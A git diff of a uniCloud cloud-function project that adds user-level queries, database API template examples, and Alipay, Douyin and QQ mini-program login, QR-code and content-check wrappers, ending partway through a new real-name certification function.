diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/kh/getInfoByUser.js b/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/kh/getInfoByUser.js
new file mode 100644
index 0000000..ba7589c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/kh/getInfoByUser.js
@@ -0,0 +1,33 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/userLevel/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: uid
+ });
+
+ const resData = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-user-level',
+ whereJson: {
+ level: user.userLevel
+ }
+ });
+
+ res.data = resData
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/pub/getList.js
new file mode 100644
index 0000000..b2eae5b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userLevel/pub/getList.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/userLevel/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-user-level',
+ sortArr: [
+ { name: "level", type: "asc" },
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/muban_easy.js b/uniCloud-tcb/cloudfunctions/router/service/muban_easy.js
index 0b95150..8601279 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/muban_easy.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/muban_easy.js
@@ -7,8 +7,8 @@ module.exports = {
* @param {String} params1 参数1
*/
main: async (event) => {
- let { data = {}, userInfo, util, filterResponse, originalParam } = event;
- let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { data = {}, userInfo, util, originalParam } = event;
+ let { customUtil, config, pubFun, vk, db, _ } = util;
let { uid } = data;
let res = { code: 0, msg: "" };
// 业务逻辑开始-----------------------------------------------------------
diff --git a/uniCloud-tcb/cloudfunctions/router/service/muban_object.js b/uniCloud-tcb/cloudfunctions/router/service/muban_object.js
new file mode 100644
index 0000000..c9bdfd3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/muban_object.js
@@ -0,0 +1,67 @@
+'use strict';
+var vk; // 全局vk实例
+// 涉及的表名
+const dbName = {
+ //test: "vk-test", // 测试表
+};
+
+var db = uniCloud.database(); // 全局数据库引用
+var _ = db.command; // 数据库操作符
+var $ = _.aggregate; // 聚合查询操作符
+/**
+ * 权限注意:访问以下链接查看
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#内置权限
+ */
+var cloudObject = {
+ isCloudObject: true, // 标记为云对象模式
+ /**
+ * 请求前处理,主要用于调用方法之前进行预处理,一般用于拦截器、统一的身份验证、参数校验、定义全局对象等。
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#before-预处理
+ */
+ _before: async function() {
+ vk = this.vk; // 将vk定义为全局对象
+ // let { customUtil, uniID, config, pubFun } = this.getUtil(); // 获取工具包
+ },
+ /**
+ * 请求后处理,主要用于处理本次调用方法的返回结果或者抛出的错误
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#after-后处理
+ */
+ _after: async function(options) {
+ let { err, res } = options;
+ if (err) {
+ return; // 如果方法抛出错误,直接return;不处理
+ }
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/muban.getInfo 前端调用的url参数地址
+ */
+ getInfo: async function(data) {
+ let { uid } = this.getClientInfo(); // 获取客户端信息
+ let userInfo = await this.getUserInfo(); // 获取当前登录的用户信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("请求参数", data);
+ res.userInfo = userInfo; // 返回前端当前登录的用户信息
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/muban.getList 前端调用的url参数地址
+ */
+ getList: async function(data) {
+ let { uid, filterResponse, originalParam } = this.getClientInfo(); // 获取客户端信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("请求参数", data);
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+};
+
+module.exports = cloudObject;
diff --git a/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/getComponentsDynamicData.js b/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/getComponentsDynamicData.js
index dc8dfe7..5aa19d7 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/getComponentsDynamicData.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/getComponentsDynamicData.js
@@ -20,11 +20,11 @@ module.exports = {
let res_select = await vk.baseDao.select({
dbName:"vk-components-dynamic",
getCount:false,
- pageSize:100,
+ pageSize:500,
whereJson:{
data_id : _.in(ids)
},
- }, event.util);
+ });
// 将数组形式 转换成 组件需要的格式
res.componentsDynamic = {};
for(let i in res_select.rows){
diff --git a/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/init.js b/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/init.js
index c32f528..43822d3 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/init.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/plugs/components_dynamic/client/pub/init.js
@@ -32,14 +32,14 @@ module.exports = {
pageIndex:1,
pageSize:100,
whereJson:whereJson
- }, event.util);
+ });
if(res.rows.length == data_ids.length){
return res;
}
await vk.baseDao.del({
dbName:dbName,
whereJson:whereJson
- },event.util);
+ });
let dataArr = [
{
"data_id": "vk-test-notice-bar-01",
@@ -78,16 +78,16 @@ module.exports = {
"data": {
"list": [
{
- "title": "标题11111111",
- "image": "https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1594798331539&di=fe544344d765e4f23f90457f02a2d361&imgtype=0&src=http%3A%2F%2Fpic1.win4000.com%2Fwallpaper%2F1%2F58f03bf05fddb.jpg%3Fdown"
+ "title": "标题11111111",
+ "image": "https://img0.baidu.com/it/u=1595128334,82706458&fm=26&fmt=auto&gp=0.jpg"
},
{
- "title": "标题2222222",
- "image": "https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1594798658581&di=bcd5486940ad88cf88a904f411c53e94&imgtype=0&src=http%3A%2F%2Fn.sinaimg.cn%2Fsinacn15%2F600%2Fw1920h1080%2F20180505%2Fad66-hacuuvt5802647.jpg"
+ "title": "标题2222222",
+ "image": "https://img2.baidu.com/it/u=3290011888,2972843018&fm=26&fmt=auto&gp=0.jpg"
},
{
- "title": "标题3333333",
- "image": "https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1594798022306&di=ed613c19ef36df7856b383601acb2f05&imgtype=0&src=http%3A%2F%2Fimg.pconline.com.cn%2Fimages%2Fupload%2Fupc%2Ftx%2Fwallpaper%2F1306%2F17%2Fc1%2F22199754_1371460645988.jpg"
+ "title": "标题3333333",
+ "image": "https://img2.baidu.com/it/u=528808604,872300859&fm=26&fmt=auto&gp=0.jpg"
}
],
"height": 300
@@ -104,7 +104,7 @@ module.exports = {
"border":false,
"list":[
{
- "icon":"https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1594798331539&di=fe544344d765e4f23f90457f02a2d361&imgtype=0&src=http%3A%2F%2Fpic1.win4000.com%2Fwallpaper%2F1%2F58f03bf05fddb.jpg%3Fdown",
+ "icon":"red-packet",
"text":"按钮1",
"page":"../vk-u-notice-bar/vk-u-notice-bar"
},
@@ -130,7 +130,7 @@ module.exports = {
await vk.baseDao.adds({
dbName:dbName,
dataJson:dataArr
- },event.util);
+ });
// 业务逻辑结束-----------------------------------------------------------
return res;
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/add.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/add.js
index 5079bd7..659c4d8 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/add.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/add.js
@@ -1,19 +1,20 @@
module.exports = {
- /**
- * 添加单条数据
- * @url template/db_api/pub/add 前端调用的url参数地址
- * data 请求参数 说明
- * res 返回参数说明
- * @params {Number} code 错误码,0表示成功
- * @params {String} msg 详细信息
- */
- main: async (event) => {
+ /**
+ * 添加单条数据
+ * @url template/db_api/pub/add 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @params {Number} code 错误码,0表示成功
+ * @params {String} msg 详细信息
+ */
+ main: async (event) => {
let { data = {}, userInfo, util, originalParam } = event;
let { uniID, pubFun, vk , db, _ } = util;
let { uid } = data;
let res = { code : 0, msg : 'ok' };
- // 业务逻辑开始-----------------------------------------------------------
- // 随机定位开始-----------------------------------------------------------
+ // 业务逻辑开始-----------------------------------------------------------
+ let startTime = Date.now();
+
// 为了方便测试,这里固定在杭州市西湖区附近
let longitude = 120.12792 + Math.floor(Math.random() * 500) / 10000;
let latitude = 30.228932 + Math.floor(Math.random() * 500) / 10000;
@@ -30,7 +31,10 @@ module.exports = {
},
}
});
- // 业务逻辑结束-----------------------------------------------------------
- return res;
- }
+
+ let endTime = Date.now();
+ res.runTime = (endTime - startTime);
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/adds.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/adds.js
index d75bbda..c331c1c 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/adds.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/adds.js
@@ -14,9 +14,9 @@ module.exports = {
let res = { code : 0, msg : 'ok' };
// 业务逻辑开始-----------------------------------------------------------
let dbName = "vk-test";
- let runTime1 = new Date().getTime();
+ let startTime = Date.now();
let addNum = 10;
- console.log(new Date(runTime1),"开始运行,添加"+addNum+"条数据");
+ console.log("开始运行,添加"+addNum+"条数据");
// 承载所有读操作的 promise 的数组
let dataArr = [];
@@ -41,10 +41,9 @@ module.exports = {
dataJson:dataArr
});
- let runTime2 = new Date().getTime();
- let runTime = ((runTime2 - runTime1) / 1000 + "秒");
- console.log(new Date(runTime2),"运行结束,耗时:"+runTime);
- res.runTime = runTime;
+ let endTime = Date.now();
+ res.runTime = endTime - startTime;
+ console.log("运行结束,耗时:"+res.runTime/1000 + "秒");
// 业务逻辑结束-----------------------------------------------------------
return res;
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/count.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/count.js
index 0d86f1f..2ddcb75 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/count.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/count.js
@@ -13,12 +13,17 @@ module.exports = {
let { uid } = data;
let res = { code : 0, msg : 'ok' };
// 业务逻辑开始-----------------------------------------------------------
+ let startTime = Date.now();
+
res.num = await vk.baseDao.count({
dbName:"vk-test",
whereJson:{
}
});
+
+ let endTime = Date.now();
+ res.runTime = (endTime - startTime);
// 对应的sql:
// count * from vk-test
// 业务逻辑结束-----------------------------------------------------------
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findById.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findById.js
index e8a0ab4..30c8f43 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findById.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findById.js
@@ -13,7 +13,7 @@ module.exports = {
let { uid } = data;
let res = { code : 0, msg : 'ok' };
// 业务逻辑开始-----------------------------------------------------------
- let startTime = new Date().getTime();
+ let startTime = Date.now();
res.item = await vk.baseDao.findById({
dbName:"vk-test",
id:data._id,
@@ -21,7 +21,7 @@ module.exports = {
}
});
- let endTime = new Date().getTime();
+ let endTime = Date.now();
res.runTime = (endTime - startTime);
// 上面的 fieldJson 可以设置 显示什么字段或设置不显示什么字段 如 money:false 代表不显示money字段
// 对应的sql:
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findByWhereJson.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findByWhereJson.js
index 16db31c..6f01891 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findByWhereJson.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/findByWhereJson.js
@@ -13,6 +13,8 @@ module.exports = {
let { uid } = data;
let res = { code : 0, msg : 'ok' };
// 业务逻辑开始-----------------------------------------------------------
+ let startTime = Date.now();
+
res.item = await vk.baseDao.findByWhereJson({
dbName:"vk-test",
fieldJson:{
@@ -22,6 +24,10 @@ module.exports = {
_id:data._id,
}
});
+
+ let endTime = Date.now();
+ res.runTime = (endTime - startTime);
+
// 上面的 fieldJson 可以设置 显示什么字段或设置不显示什么字段 如 money:false 代表不显示money字段
// 对应的sql:
// select * from vk-test where _id = "5f3a125b3d11c6000106d338"
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/geo.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/geo.js
index f1640de..1350f3f 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/geo.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/geo.js
@@ -21,7 +21,9 @@ module.exports = {
location: _.geoNear({
geometry: new db.Geo.Point(120.12792, 30.228932), // 点的地理位置,为了方便测试,这里固定在杭州市西湖区
maxDistance: 4000, // 选填,最大距离,米为单位
- minDistance: 0 // 选填,最小距离,米为单位
+ minDistance: 0 ,// 选填,最小距离,米为单位
+ distanceMultiplier:1, // 返回时在距离上乘以该数字 1代表米 100 代表厘米 0.001 代表千米
+ distanceField:"distance", // 输出的每个记录中 distance 即是与给定点的距离
})
},
});
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects.js
index 028bb22..81ced4c 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects.js
@@ -26,7 +26,7 @@ module.exports = {
// 主表字段显示规则
fieldJson:{ token:false, password:false },
// 主表排序规则
- sortArr:[{ "name":"_id", "type":"desc" }],
+ sortArr: [{"name": "_add_time", "type":"desc" }],
// 副表列表
foreignDB:[
{
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects_inviter_uid.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects_inviter_uid.js
new file mode 100644
index 0000000..c89d725
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/selects_inviter_uid.js
@@ -0,0 +1,45 @@
+module.exports = {
+ /**
+ * 多表查询
+ * @url template/db_api/pub/selects_inviter_uid 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @params {Number} code 错误码,0表示成功
+ * @params {String} msg 详细信息
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, originalParam } = event;
+ let { uniID, pubFun, vk, db, _, $ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: 'ok' };
+ // 业务逻辑开始-----------------------------------------------------------
+ /**
+ * 此为演示 使用数组下标对应的值进行连表,如用户表根据inviter_uid的第一个值进行连表查出第一个上级的用户信息
+ */
+ res = await vk.baseDao.selects({
+ dbName: "uni-id-users",
+ getCount: false,
+ pageIndex: 1,
+ pageSize: 5,
+ fieldJson: {
+ token: false,
+ password: false
+ },
+ // 副表列表
+ foreignDB: [{
+ dbName: "uni-id-users",
+ localKey: $.arrayElemAt(['$inviter_uid', 0]),
+ foreignKey: "_id",
+ as: "inviterUserInfo",
+ limit: 1,
+ fieldJson: {
+ token: false,
+ password: false
+ },
+ }]
+ });
+ console.log(11, res.rows);
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/tree.js b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/tree.js
new file mode 100644
index 0000000..7877dfa
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/db_api/pub/tree.js
@@ -0,0 +1,36 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url template/db_api/pub/tree 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.getTableData({
+ dbName: "opendb-admin-menus",
+ whereJson:{
+ enable: true,
+ parent_id: null
+ },
+ // 树状结构参数
+ treeProps: {
+ id: "menu_id", // 唯一标识字段,默认为 _id
+ parent_id: "parent_id", // 父级标识字段,默认为 parent_id
+ children: "children", // 自定义返回的下级字段名,默认为 children
+ level: 3, // 查询返回的树的最大层级。超过设定层级的节点不会返回。默认10级,最大15,最小1
+ limit: 500, // 每一级最大返回的数据。
+ whereJson: {
+ enable: true
+ }
+ }
+ });
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/code2Session.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/code2Session.js
new file mode 100644
index 0000000..da6c233
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/code2Session.js
@@ -0,0 +1,30 @@
+'use strict';
+module.exports = {
+ /**
+ * code2Session
+ * @url template/openapi/alipay/pub/code2Session 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ code,
+ } = data;
+ let code2SessionRes = await vk.openapi.alipay.auth.code2Session({
+ code,
+ needKey: true
+ });
+ if (code2SessionRes.code !== 0) {
+ return code2SessionRes;
+ }
+ console.log('code2SessionRes: ', code2SessionRes);
+ res.openid = code2SessionRes.openid;
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/getMiniCode.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/getMiniCode.js
new file mode 100644
index 0000000..ab85fd7
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/alipay/pub/getMiniCode.js
@@ -0,0 +1,24 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取支付宝小程序码
+ * @url template/openapi/alipay/pub/getMiniCode 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} path 小程序页面路径
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ page,
+ scene
+ } = data;
+ res = await vk.openapi.alipay.acode.getMiniCode(data);
+ res.base64 = res.qr_code_url_circle_white; // 兼容其他小程序的返回字段
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/code2Session.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/code2Session.js
new file mode 100644
index 0000000..45453f1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/code2Session.js
@@ -0,0 +1,34 @@
+'use strict';
+module.exports = {
+ /**
+ * code2Session
+ * @url template/openapi/douyin/pub/code2Session 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ code,
+ anonymousCode
+ } = data;
+ let code2SessionRes = await vk.openapi.douyin.auth.code2Session({
+ code,
+ anonymousCode,
+ needKey: true
+ });
+ if (code2SessionRes.code !== 0) {
+ return code2SessionRes;
+ }
+ console.log('code2SessionRes: ', code2SessionRes);
+ res.openid = code2SessionRes.openid;
+ res.anonymousOpenid = code2SessionRes.anonymousOpenid;
+ res.unionid = code2SessionRes.unionid;
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/getMiniCode.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/getMiniCode.js
new file mode 100644
index 0000000..1c453a0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/getMiniCode.js
@@ -0,0 +1,46 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取抖音小程序码
+ * @url template/openapi/douyin/pub/getMiniCode 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} path 小程序页面路径
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ path
+ } = data;
+
+ res = await vk.openapi.douyin.acode.getMiniCode({
+ path
+ });
+ if (typeof res === "object" && res.code) {
+ return res;
+ }
+ try {
+ // 二进制转base64
+ let base64 = Buffer.from(res, 'binary').toString('base64');
+ return {
+ code: 0,
+ base64: `data:image/png;base64,${base64}`
+ };
+ } catch (err) {
+ // 转base64失败
+ return {
+ code: -1,
+ msg: "生成小程序码失败",
+ err: {
+ message: err.message,
+ stack: err.stack
+ }
+ };
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/imgSecCheck.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/imgSecCheck.js
new file mode 100644
index 0000000..cf41883
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/imgSecCheck.js
@@ -0,0 +1,38 @@
+'use strict';
+module.exports = {
+ /**
+ * 图片违规检测示例
+ * @url template/openapi/douyin/pub/imgSecCheck 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @params {Number} code 错误码,0表示成功
+ * @params {String} msg 详细信息
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { config, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: 'ok' };
+ // 业务逻辑开始-----------------------------------------------------------
+ let { base64 } = data;
+ /**
+ * 实际开发中,图片可能是多张图,比如多达9张图
+ * 如果在一个请求中循环检测,可能会超时。
+ * 方案1:前端选择完图片就自动一张一张检测和上传(即9张图会有9个请求)
+ * 方案2:使用Promise.all
+ */
+ let imgSecCheckRes = await vk.openapi.douyin.security.imgSecCheck({
+ base64
+ });
+ if (imgSecCheckRes.code !== 0) {
+ // 未通过检测
+ return imgSecCheckRes;
+ }
+ // 若通过检测,则继续执行自己的业务
+ // ...
+ // ...
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/msgSecCheck.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/msgSecCheck.js
new file mode 100644
index 0000000..3b1aa99
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/douyin/pub/msgSecCheck.js
@@ -0,0 +1,36 @@
+'use strict';
+module.exports = {
+ /**
+ * 文本违规检测示例
+ * @url template/openapi/douyin/pub/msgSecCheck 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @params {Number} code 错误码,0表示成功
+ * @params {String} msg 详细信息
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { config, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: 'ok' };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ content,
+ } = data;
+ // 实际业务中,content可能是评论的内容等
+ let msgSecCheckRes = await vk.openapi.douyin.security.msgSecCheck({
+ content,
+ });
+ if (msgSecCheckRes.code !== 0) {
+ // 未通过检测
+ return msgSecCheckRes;
+ }
+ res.result = msgSecCheckRes;
+ // 若通过检测,则继续执行自己的业务
+ // ...
+ // ...
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/template/openapi/qq/pub/code2Session.js b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/qq/pub/code2Session.js
new file mode 100644
index 0000000..88c9616
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/template/openapi/qq/pub/code2Session.js
@@ -0,0 +1,32 @@
+'use strict';
+module.exports = {
+ /**
+ * code2Session
+ * @url template/openapi/qq/pub/code2Session 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ code,
+ anonymousCode
+ } = data;
+ let code2SessionRes = await vk.openapi.qq.auth.code2Session({
+ code,
+ needKey: true
+ });
+ if (code2SessionRes.code !== 0) {
+ return code2SessionRes;
+ }
+ console.log('code2SessionRes: ', code2SessionRes);
+ res.openid = code2SessionRes.openid;
+ res.unionid = code2SessionRes.unionid;
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/kh/getMyUserInfo.js b/uniCloud-tcb/cloudfunctions/router/service/user/kh/getMyUserInfo.js
index 1480d07..8ef6ac8 100644
--- a/uniCloud-tcb/cloudfunctions/router/service/user/kh/getMyUserInfo.js
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/kh/getMyUserInfo.js
@@ -10,6 +10,12 @@ module.exports = {
let { uid } = data;
let res = { code : 0, msg : '' };
res.userInfo = userInfo;
+ res.accountNum = await vk.baseDao.count({
+ dbName: 'jjx-account',
+ whereJson: {
+ uid
+ }
+ });
// 业务逻辑结束-----------------------------------------------------------
return res;
}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/user/kh/setCertification.js b/uniCloud-tcb/cloudfunctions/router/service/user/kh/setCertification.js
new file mode 100644
index 0000000..fd8e98d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/user/kh/setCertification.js
@@ -0,0 +1,60 @@
+var CryptoJS = require("crypto-js");
+module.exports = {
+ /**
+ * 绑定邮箱
+ * @url user/kh/bindEmail 前端调用的url参数地址
+ * @description 将当前登录用户绑定邮箱
+ * data 请求参数 说明
+ * @param {String} email 用户邮箱
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ */
+ main: async (event) => {
+ let {
+ data = {}, util, userInfo
+ } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let res = {
+ code: 0
+ };
+
+ // const userInfo = await this.getUserInfo();
+ // 业务逻辑开始-----------------------------------------------------------
+ const {
+ realname,
+ address,
+ address_detail,
+ mail_address,
+ id_card_front,
+ id_card_back,
+ contact_mobile,
+ contact_qq,
+ contact_email,
+ contact_wechat_image,
+ contact_wechat,
+ bank_name,
+ bank_account_name,
+ bank_card,
+ screen_shot
+ } = data
+ // 验证实名信息
+ // const get_person_verify_url_res = await pubFun.fadada('get_person_verify_url.api', {
+ // customer_id: userInfo.fadada_customer_id,
+ // verified_way: 2,
+ // page_modify: 1
+ // })
+
+ // let {transactionNo, url} = get_person_verify_url_res.data
+ let transactionNo = 'fe00569db2ac43709697df16be737d96'
